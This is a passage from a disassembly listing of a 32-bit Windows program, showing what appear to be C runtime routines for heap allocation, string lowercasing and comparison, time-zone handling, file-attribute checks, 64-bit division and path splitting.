					; sub_423C20:loc_423E04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_423F28:				; CODE XREF: sub_423C20+1B7j
					; sub_423C20:loc_423E04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_423F3C:				; CODE XREF: sub_423C20+1B7j
					; sub_423C20:loc_423E04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_423C20	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F55	proc near		; CODE XREF: sub_40F467+4Fp
					; sub_40F66B+34p ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_422F8B
		pop	ecx
		pop	ecx
		retn
sub_423F55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423F63	proc near		; CODE XREF: sub_40F770+145p
					; sub_41CDE4+5p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00424005 SIZE 0000007B BYTES
; FUNCTION CHUNK AT 0042408E SIZE 00000012 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_42F438
		push	offset sub_424B30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		mov	[ebp+arg_4], esi
		mov	[ebp+var_1C], esi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_423FAC
		xor	ebx, ebx
		cmp	esi, ebx
		jnz	short loc_423FA1
		push	1
		pop	esi


loc_423FA1:				; CODE XREF: sub_423F63+39j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		jmp	short loc_423FAE
; ---------------------------------------------------------------------------


loc_423FAC:				; CODE XREF: sub_423F63+33j
		xor	ebx, ebx


loc_423FAE:				; CODE XREF: sub_423F63+47j
					; sub_423F63+115j
		mov	[ebp+var_20], ebx
		cmp	esi, 0FFFFFFE0h
		ja	loc_424062
		mov	eax, dword_6319C0
		cmp	eax, 3
		jnz	short loc_424005
		mov	edi, [ebp+var_1C]
		cmp	edi, dword_6319B8
		ja	short loc_42404B
		push	9
		call	sub_428436
		pop	ecx
		mov	[ebp+var_4], ebx
		push	edi
		call	sub_427595
		pop	ecx
		mov	[ebp+var_20], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_423FFC
		cmp	[ebp+var_20], ebx
		jz	short loc_424050
		push	[ebp+var_1C]
		jmp	short loc_42403F
sub_423F63	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FF7	proc near		; DATA XREF: .text:0042F440o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
sub_423FF7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_423FFC	proc near		; CODE XREF: sub_423F63+85p
		push	9
		call	sub_428497
		pop	ecx
		retn
sub_423FFC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F63


loc_424005:				; CODE XREF: sub_423F63+5Fj
		cmp	eax, 2
		jnz	short loc_42404B
		cmp	esi, dword_44BA9C
		ja	short loc_42404B
		push	9
		call	sub_428436
		pop	ecx
		mov	[ebp+var_4], 1
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_428038
		pop	ecx
		mov	[ebp+var_20], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_424085
		cmp	[ebp+var_20], ebx
		jz	short loc_424050
		push	esi


loc_42403F:				; CODE XREF: sub_423F63+92j
		push	ebx
		push	[ebp+var_20]
		call	sub_4221F0
		add	esp, 0Ch


loc_42404B:				; CODE XREF: sub_423F63+6Aj
					; sub_423F63+A5j ...
		cmp	[ebp+var_20], ebx
		jnz	short loc_42408E


loc_424050:				; CODE XREF: sub_423F63+8Dj
					; sub_423F63+D9j
		push	esi
		push	8
		push	dword_6319BC
		call	dword_42F1EC	; RtlAllocateHeap
		mov	[ebp+var_20], eax


loc_424062:				; CODE XREF: sub_423F63+51j
		cmp	[ebp+var_20], ebx
		jnz	short loc_42408E
		cmp	dword_6313F8, ebx
		jz	short loc_42408E
		push	esi
		call	sub_42700C
		pop	ecx
		test	eax, eax
		jnz	loc_423FAE
		jmp	short loc_424091
; END OF FUNCTION CHUNK	FOR sub_423F63
; ---------------------------------------------------------------------------
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]

; =============== S U B	R O U T	I N E =======================================



sub_424085	proc near		; CODE XREF: sub_423F63+D1p
		push	9
		call	sub_428497
		pop	ecx
		retn
sub_424085	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F63


loc_42408E:				; CODE XREF: sub_423F63+EBj
					; sub_423F63+102j ...
		mov	eax, [ebp+var_20]


loc_424091:				; CODE XREF: sub_423F63+11Bj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_423F63

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4240A0	proc near		; CODE XREF: sub_4105DF+3Bp
					; sub_4105DF+45p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		xor	esi, esi
		cmp	dword_6314C8, esi
		push	edi
		mov	[ebp+var_8], esi
		jnz	short loc_4240DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	byte ptr [eax],	0
		jz	loc_4241D0


loc_4240C2:				; CODE XREF: sub_4240A0+37j
		mov	cl, [edx]
		cmp	cl, 41h
		jl	short loc_4240D3
		cmp	cl, 5Ah
		jg	short loc_4240D3
		add	cl, 20h
		mov	[edx], cl


loc_4240D3:				; CODE XREF: sub_4240A0+27j
					; sub_4240A0+2Cj
		inc	edx
		cmp	byte ptr [edx],	0
		jnz	short loc_4240C2
		jmp	loc_4241D0
; ---------------------------------------------------------------------------


loc_4240DE:				; CODE XREF: sub_4240A0+12j
		mov	edi, offset dword_63198C
		push	edi
		call	dword_42F200	; InterlockedIncrement
		cmp	dword_631988, esi
		jz	short loc_42410A
		push	edi
		call	dword_42F1FC	; InterlockedDecrement
		push	13h
		call	sub_428436
		pop	ecx
		mov	[ebp+var_4], 1
		jmp	short loc_42410D
; ---------------------------------------------------------------------------


loc_42410A:				; CODE XREF: sub_4240A0+50j
		mov	[ebp+var_4], esi


loc_42410D:				; CODE XREF: sub_4240A0+68j
		mov	eax, dword_6314C8
		cmp	eax, esi
		jnz	short loc_424153
		cmp	[ebp+var_4], esi
		jz	short loc_424125
		push	13h
		call	sub_428497
		pop	ecx
		jmp	short loc_42412C
; ---------------------------------------------------------------------------


loc_424125:				; CODE XREF: sub_4240A0+79j
		push	edi
		call	dword_42F1FC	; InterlockedDecrement


loc_42412C:				; CODE XREF: sub_4240A0+83j
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	byte ptr [eax],	0
		jz	loc_4241D0


loc_42413A:				; CODE XREF: sub_4240A0+AFj
		mov	cl, [edx]
		cmp	cl, 41h
		jl	short loc_42414B
		cmp	cl, 5Ah
		jg	short loc_42414B
		add	cl, 20h
		mov	[edx], cl


loc_42414B:				; CODE XREF: sub_4240A0+9Fj
					; sub_4240A0+A4j
		inc	edx
		cmp	byte ptr [edx],	0
		jnz	short loc_42413A
		jmp	short loc_4241D0
; ---------------------------------------------------------------------------


loc_424153:				; CODE XREF: sub_4240A0+74j
		push	ebx
		push	1
		push	esi
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		mov	esi, 100h
		push	esi
		push	eax
		call	sub_429BA7
		mov	ebx, eax
		add	esp, 20h
		test	ebx, ebx
		jz	short loc_4241AC
		push	ebx
		call	sub_422F79
		test	eax, eax
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_4241AC
		push	1
		push	0
		push	ebx
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_6314C8
		call	sub_429BA7
		add	esp, 20h
		test	eax, eax
		jz	short loc_4241AC
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_423260
		pop	ecx
		pop	ecx


loc_4241AC:				; CODE XREF: sub_4240A0+D1j
					; sub_4240A0+DFj ...
		cmp	[ebp+var_4], 0
		pop	ebx
		jz	short loc_4241BD
		push	13h
		call	sub_428497
		pop	ecx
		jmp	short loc_4241C4
; ---------------------------------------------------------------------------


loc_4241BD:				; CODE XREF: sub_4240A0+111j
		push	edi
		call	dword_42F1FC	; InterlockedDecrement


loc_4241C4:				; CODE XREF: sub_4240A0+11Bj
		push	[ebp+var_8]
		call	sub_4230B3
		mov	eax, [ebp+arg_0]
		pop	ecx


loc_4241D0:				; CODE XREF: sub_4240A0+1Cj
					; sub_4240A0+39j ...
		pop	edi
		pop	esi
		leave
		retn
sub_4240A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4241D4	proc near		; CODE XREF: sub_41112E+35p
					; sub_41112E+122p ...

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_42F20C	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_42F208	; GetSystemTime
		mov	ax, [ebp+var_16]
		cmp	ax, word_6313E2
		jnz	short loc_424239
		mov	ax, [ebp+var_18]
		cmp	ax, word_6313E0
		jnz	short loc_424239
		mov	ax, [ebp+var_1A]
		cmp	ax, word_6313DE
		jnz	short loc_424239
		mov	ax, [ebp+var_1E]
		cmp	ax, word_6313DA
		jnz	short loc_424239
		mov	ax, [ebp+var_20]
		cmp	ax, word_6313D8
		jnz	short loc_424239
		mov	eax, dword_6313D0
		jmp	short loc_42427E
; ---------------------------------------------------------------------------


loc_424239:				; CODE XREF: sub_4241D4+28j
					; sub_4241D4+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_42F204	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424266
		cmp	eax, 2
		jnz	short loc_424262
		cmp	[ebp+var_32], 0
		jz	short loc_424262
		cmp	[ebp+var_24], 0
		jz	short loc_424262
		push	1
		pop	eax
		jmp	short loc_424269
; ---------------------------------------------------------------------------


loc_424262:				; CODE XREF: sub_4241D4+7Aj
					; sub_4241D4+81j ...
		xor	eax, eax
		jmp	short loc_424269
; ---------------------------------------------------------------------------


loc_424266:				; CODE XREF: sub_4241D4+75j
		or	eax, 0FFFFFFFFh


loc_424269:				; CODE XREF: sub_4241D4+8Cj
					; sub_4241D4+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_6313D8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_6313D0, eax
		pop	esi


loc_42427E:				; CODE XREF: sub_4241D4+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_429DCB
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_4242AE
		mov	[ecx], eax

locret_4242AE:				; CODE XREF: sub_4241D4+D6j
		leave
		retn
sub_4241D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4242B0(double)

sub_4242B0	proc near		; CODE XREF: sub_4128D4+3C6p
					; sub_41391C+58Bp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_449420
		call	sub_42A6B8
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_424336
		call	sub_42A580
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_424319
		cmp	eax, 2
		jle	short loc_42430B
		cmp	eax, 3
		jnz	short loc_424319
		fld	[ebp+arg_0]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		push	0Ch		; int
		call	sub_429E8D
		add	esp, 10h
		jmp	short loc_42437B
; ---------------------------------------------------------------------------


loc_42430B:				; CODE XREF: sub_4242B0+3Fj
		push	esi
		push	ebx
		call	sub_42A6B8
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_42437B
; ---------------------------------------------------------------------------


loc_424319:				; CODE XREF: sub_4242B0+3Aj
					; sub_4242B0+44j
		fld	[ebp+arg_0]
		fadd	dbl_42F450
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_424373
; ---------------------------------------------------------------------------


loc_424336:				; CODE XREF: sub_4242B0+2Fj
		call	sub_42A545
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_424359


loc_42434B:				; CODE XREF: sub_4242B0+ACj
		push	esi
		push	ebx
		call	sub_42A6B8
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_42437B
; ---------------------------------------------------------------------------


loc_424359:				; CODE XREF: sub_4242B0+99j
		test	bl, 20h
		jnz	short loc_42434B
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_424373:				; CODE XREF: sub_4242B0+84j
		call	sub_429EE1
		add	esp, 1Ch


loc_42437B:				; CODE XREF: sub_4242B0+59j
					; sub_4242B0+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_4242B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_40D695+7p
					; sub_4128D4+19p ...

var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_6314C0
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4243D3
		mov	al, 0FFh
		mov	edi, edi


loc_42439C:				; CODE XREF: sub_424380+28j
					; sub_424380+48j
		or	al, al
		jz	short loc_4243CE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_42439C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_42439C
		sbb	al, al
		sbb	al, 0FFh


loc_4243CE:				; CODE XREF: sub_424380+1Ej
		movsx	eax, al
		jmp	short loc_42444B
; ---------------------------------------------------------------------------


loc_4243D3:				; CODE XREF: sub_424380+16j
		lock inc dword_63198C
		cmp	dword_631988, 0
		jg	short loc_4243E7
		push	0
		jmp	short loc_4243FC
; ---------------------------------------------------------------------------


loc_4243E7:				; CODE XREF: sub_424380+61j
		lock dec dword_63198C
		push	13h
		call	sub_428436
		mov	[esp+10h+var_10], 1


loc_4243FC:				; CODE XREF: sub_424380+65j
		mov	eax, 0FFh
		xor	ebx, ebx
		nop


loc_424404:				; CODE XREF: sub_424380+90j
					; sub_424380+A8j
		or	al, al
		jz	short loc_42442F
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_424404
		push	eax
		push	ebx
		call	sub_42A7A0
		mov	ebx, eax
		add	esp, 4
		call	sub_42A7A0
		add	esp, 4
		cmp	bl, al
		jz	short loc_424404
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42442F:				; CODE XREF: sub_424380+86j
		mov	ebx, eax
		pop	eax
		or	eax, eax
		jnz	short loc_42443F
		lock dec dword_63198C
		jmp	short loc_424449
; ---------------------------------------------------------------------------


loc_42443F:				; CODE XREF: sub_424380+B4j
		push	13h
		call	sub_428497
		add	esp, 4


loc_424449:				; CODE XREF: sub_424380+BDj
		mov	eax, ebx


loc_42444B:				; CODE XREF: sub_424380+51j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_424450	proc near		; CODE XREF: sub_4130E5+30Cp
					; sub_423517+29p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_42F0A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_424470
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		call	sub_4264B5
		pop	ecx


loc_42446C:				; CODE XREF: sub_424450+41j
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_424470:				; CODE XREF: sub_424450+Dj
		test	al, 1
		jz	short loc_424493
		test	[esp+arg_4], 2
		jz	short loc_424493
		call	sub_426528
		mov	dword ptr [eax], 0Dh
		call	sub_426531
		mov	dword ptr [eax], 5
		jmp	short loc_42446C
; ---------------------------------------------------------------------------


loc_424493:				; CODE XREF: sub_424450+22j
					; sub_424450+29j
		xor	eax, eax
		retn
sub_424450	endp


; =============== S U B	R O U T	I N E =======================================



sub_424496	proc near		; CODE XREF: sub_414926+14p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, offset dword_449450
		push	edi
		push	esi
		push	1
		call	sub_42486B
		push	esi
		call	sub_42A86B
		mov	edi, eax
		lea	eax, [esp+18h+arg_4]
		push	eax
		push	[esp+1Ch+arg_0]
		push	esi
		call	sub_42512C
		push	esi
		push	edi
		mov	ebx, eax
		call	sub_42A8F8
		push	esi
		push	1
		call	sub_4248BD
		add	esp, 28h
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_424496	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4244E0	proc near		; CODE XREF: sub_415126+65p
					; sub_415126+9Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_424501
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_424501:				; CODE XREF: sub_4244E0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_42451D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_42451D:				; CODE XREF: sub_4244E0+27j
		or	eax, eax
		jnz	short loc_424539
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_42457A
; ---------------------------------------------------------------------------


loc_424539:				; CODE XREF: sub_4244E0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_424547:				; CODE XREF: sub_4244E0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_424547
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_424575
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_424575
		jb	short loc_424576
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_424576


loc_424575:				; CODE XREF: sub_4244E0+85j
					; sub_4244E0+8Bj
		dec	esi


loc_424576:				; CODE XREF: sub_4244E0+8Dj
					; sub_4244E0+93j
		xor	edx, edx
		mov	eax, esi


loc_42457A:				; CODE XREF: sub_4244E0+57j
		dec	edi
		jnz	short loc_424584
		neg	edx
		neg	eax
		sbb	edx, 0


loc_424584:				; CODE XREF: sub_4244E0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_4244E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42458A	proc near		; CODE XREF: sub_416C0B+130p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_42459E
		xor	eax, eax
		jmp	short loc_4245E8
; ---------------------------------------------------------------------------


loc_42459E:				; CODE XREF: sub_42458A+Ej
		push	esi
		mov	esi, [ebp+arg_8]
		push	esi
		call	sub_42483C
		pop	ecx


loc_4245A9:				; CODE XREF: sub_42458A+46j
		dec	[ebp+arg_4]
		jz	short loc_4245DB
		dec	dword ptr [esi+4]
		js	short loc_4245BD
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_4245C4
; ---------------------------------------------------------------------------


loc_4245BD:				; CODE XREF: sub_42458A+27j
		push	esi
		call	sub_426826
		pop	ecx


loc_4245C4:				; CODE XREF: sub_42458A+31j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4245D2
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_4245DB
		jmp	short loc_4245A9
; ---------------------------------------------------------------------------


loc_4245D2:				; CODE XREF: sub_42458A+3Dj
		cmp	edi, [ebp+arg_0]
		jnz	short loc_4245DB
		xor	ebx, ebx
		jmp	short loc_4245DE
; ---------------------------------------------------------------------------


loc_4245DB:				; CODE XREF: sub_42458A+22j
					; sub_42458A+44j ...
		and	byte ptr [edi],	0


loc_4245DE:				; CODE XREF: sub_42458A+4Fj
		push	esi
		call	sub_42488E
		pop	ecx
		mov	eax, ebx
		pop	esi


loc_4245E8:				; CODE XREF: sub_42458A+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_42458A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4245EC	proc near		; CODE XREF: sub_4245F8j
		push	offset off_449430
		call	sub_42A953
		pop	ecx
		retn
sub_4245EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4245F8	proc near		; CODE XREF: sub_417A90+231p
		jmp	sub_4245EC
sub_4245F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245FD	proc near		; CODE XREF: sub_418010+327p
					; sub_418436+14Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_422120
		cmp	eax, 1
		pop	ecx
		jb	short loc_424638
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_424638
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_424634
		push	2
		push	ebx
		push	esi
		call	sub_42AD52
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_424634:				; CODE XREF: sub_4245FD+25j
		inc	ebx
		inc	ebx
		jmp	short loc_424642
; ---------------------------------------------------------------------------


loc_424638:				; CODE XREF: sub_4245FD+18j
					; sub_4245FD+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_424642
		and	byte ptr [eax],	0


loc_424642:				; CODE XREF: sub_4245FD+39j
					; sub_4245FD+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_4246BA


loc_424655:				; CODE XREF: sub_4245FD+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_631881[edx], 4
		jz	short loc_424666
		inc	eax
		jmp	short loc_424680
; ---------------------------------------------------------------------------


loc_424666:				; CODE XREF: sub_4245FD+64j
		cmp	cl, 2Fh
		jz	short loc_42467A
		cmp	cl, 5Ch
		jz	short loc_42467A
		cmp	cl, 2Eh
		jnz	short loc_424680
		mov	[ebp+var_4], eax
		jmp	short loc_424680
; ---------------------------------------------------------------------------


loc_42467A:				; CODE XREF: sub_4245FD+6Cj
					; sub_4245FD+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_424680:				; CODE XREF: sub_4245FD+67j
					; sub_4245FD+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_424655
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_4246BA
		cmp	[ebp+arg_8], 0
		jz	short loc_4246B5
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_42469E
		mov	edi, esi


loc_42469E:				; CODE XREF: sub_4245FD+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_42AD52
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4246B5:				; CODE XREF: sub_4245FD+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_4246C4
; ---------------------------------------------------------------------------


loc_4246BA:				; CODE XREF: sub_4245FD+56j
					; sub_4245FD+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_4246C4
		and	byte ptr [ecx],	0


loc_4246C4:				; CODE XREF: sub_4245FD+BBj
					; sub_4245FD+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_424717
		cmp	edi, ebx
		jb	short loc_424717
		cmp	[ebp+arg_C], 0
		jz	short loc_4246F4
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4246DD
		mov	edi, esi


loc_4246DD:				; CODE XREF: sub_4245FD+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_42AD52
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4246F4:				; CODE XREF: sub_4245FD+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_42473F
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_424704
		mov	esi, eax


loc_424704:				; CODE XREF: sub_4245FD+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_42AD52
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_42473F
; ---------------------------------------------------------------------------


loc_424717:				; CODE XREF: sub_4245FD+CCj
					; sub_4245FD+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_424735
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_424726
		mov	esi, eax


loc_424726:				; CODE XREF: sub_4245FD+125j
		push	esi
		push	ebx
		push	edi
		call	sub_42AD52
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_424735:				; CODE XREF: sub_4245FD+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_42473F
		and	byte ptr [eax],	0


loc_42473F:				; CODE XREF: sub_4245FD+FCj
					; sub_4245FD+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4245FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424744	proc near		; CODE XREF: sub_418436+17Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		push	esi
		call	sub_42483C
		push	esi
		call	sub_42A86B
